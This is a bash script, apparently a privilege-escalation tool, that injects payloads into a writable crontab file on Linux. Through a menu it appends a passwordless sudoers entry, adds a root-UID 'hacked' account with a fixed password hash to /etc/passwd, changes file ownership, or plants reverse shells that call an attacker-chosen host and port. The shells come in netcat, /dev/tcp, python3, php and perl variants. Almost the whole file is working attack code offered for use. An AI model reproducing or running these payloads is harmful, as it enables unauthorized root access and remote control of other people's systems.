exploit_crontab.sh

#!/bin/bash

RED='\033[0;31m'
LIGHT_WHITE='\033[0;97m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
blink_on="\e[5m"
blink_off="\e[25m"
text="Wait for cronjob :)"
reset="\e[0m"
NC='\033[0m'

function banner_logo(){

	echo ""
	echo "⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜"
	echo -e "${RED}____ ____ ____ _  _  _ ____ ___     ____ _  _ ___  _    ____ _ ___${NC}" 
	echo -e "${LIGHT_WHITE}|    |__/ |  | |\ |  | |  | |__] __ |___  \/  |__] |    |  | |  |${NC}"  
	echo -e "${GREEN}|___ |  \ |__| | \| _| |__| |__]    |___ _/\_ |    |___ |__| |  |${NC}"
	echo ""                                                               
	echo "⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜"

}

function sudo_injection(){

	current_user=$1
	file_to_inject=$2

	file="/etc/sudoers"
	payload="$current_user ALL=(ALL) NOPASSWD:ALL"
	exploit=$(echo "echo '$payload' >> $file" >> $file_to_inject)
}

function reverse_shell(){

	rev_shell=$1
	lhost=$2
	lport=$3
	file_to_inject=$4

	if [[ $rev_shell == "netcat" || $rev_shell == "nc" ]];
	then
		payload="nc $lhost $lport -e /bin/bash"
		exploit=$(echo "$payload" >> $file_to_inject)

	elif [[ $rev_shell == "bash" || $rev_shell == "/bin/bash" ]];
	then    
		payload="/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1"
		exploit=$(echo "$payload" >> $file_to_inject)
	
	elif [[ $rev_shell == "python3" || $rev_shell == "py" ]];
	then
		payload="python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localhost\",$lport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
		exploit=$(echo "$payload" >> $file_to_inject)

	elif [[ $rev_shell == "php" ]];
	then
		payload="php -r '$sock=fsockopen(\"$lhost\",$lport);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
		exploit=$(echo "$payload" >> $file_to_inject)
	
	elif [[ $rev_shell == "perl" ]];
	then
		payload="perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($lport,inet_aton(\"$lhost\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
		exploit=$(echo "$payload" >> $file_to_inject)
	
	else
		echo -e "${RED}[X]${NC} No payload selected"
		echo ""
	fi
}

function change_file_owner(){

	current_user=$1
	target_file=$2
	file_to_inject=$3
	payload="chown $current_user $target_file"
	exploit=$(echo "$payload" >> $file_to_inject)
}

function add_superuser(){
	
	file_to_inject=$1
	file="/etc/passwd"
	_binary='$1$hacked$ihQQpAqXirphTVaWAhZC1/'
	payload="hacked:$_binary:0:0:test:/root:/bin/bash"
	exploit=$(echo "echo '$payload' >> $file" >> $file_to_inject)
}

banner_logo

export TERM=xterm
echo ""
echo -e "${LIGHT_WHITE}------------------------->${NC} ${RED}CRONTAB EXPLOIT${NC} ${LIGHT_WHITE}<-----------------------${NC}"
echo "==================================================================="
echo -e """${CYAN}- Operation modes${NC} => 1 - edit /etc/sudoers
		     2 - reverse_shell injection
		     3 - change file owner
 		     4 - add superuser
		     5 - exit"""
echo "==================================================================="
echo -ne "${YELLOW}[!]${NC} Select Operation mode: "
read -r mode;
clear

if [ $mode == 1 ];
then
	echo "------------------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the current bash user: "
	read -r user;
	echo "------------------------------------------------"
	echo ""
	echo "-------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
	read -r file;
	echo "-------------------------------------"

	sudo_injection $user $file
	echo "---------------------------------------"
	echo -e "${YELLOW}[!]${NC} Exploited! Execute => \"sudo su\""
	printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"	
	echo "---------------------------------------"
	echo ""


elif [ $mode == 2 ];
then
	echo "================================="
	echo -e """${CYAN}- Reverse_shell${NC} [type] => netcat
			  bash
			  python3
			  php
			  perl"""
	echo "================================="
	echo ""
	echo "------------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the reverse shell type: "
	read -r shell;
	echo "------------------------------------------"
	echo ""
	echo "------------------------"
	echo -ne "${GREEN}[LHOST]${NC}= "
	read -r localhost
	echo "------------------------"
	echo "------------------------"
	echo -ne "${GREEN}[LPORT]${NC}= "
	read -r port
	echo "------------------------"
	echo ""
	echo "====================================="
	echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
	read -r file;
	echo "====================================="

	reverse_shell $shell $localhost $port $file

	echo -e "${RED}>>> Good luck! <<<${NC}"
	echo ""
	echo ""
	echo -e "${YELLOW}[+]${NC} Execute => ${CYAN}[nc -vnltp $lport]${NC}"
	printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"	
	echo ""


elif [ $mode == 3 ];
then
	echo "------------------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the current bash user: "
	read -r user;
	echo "------------------------------------------------"
	echo ""
	echo "-----------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the target file: "
	read -r job_file;
	echo "-----------------------------------------"
	echo "-----------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
	read -r file;
	echo "-----------------------------------------"

	change_file_owner $user $job_file $file
	
	echo "---------------------------------"
	echo -e "${YELLOW}[!]${NC} Exploited! Check the file."
	printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"	
	echo "---------------------------------"
	echo ""


elif [ $mode == 4 ];
then	
	echo "-------------------------------------"
	echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
	read -r file;
	echo "-------------------------------------"

	add_superuser $file
	
	echo ""
	echo "--------------------------------------------"
	echo -e "${YELLOW}[!]${NC} Exploited! New Admin!: hacked | 123"
	printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"	
	echo "--------------------------------------------"
	echo ""


elif [ $mode == 5 ];
then
	echo -e "${CYAN}[!]${NC} Happy hacking! :D"
	exit

else
	echo -e "${CYAN}[!]${NC} Done"
	echo ""
	exit
fi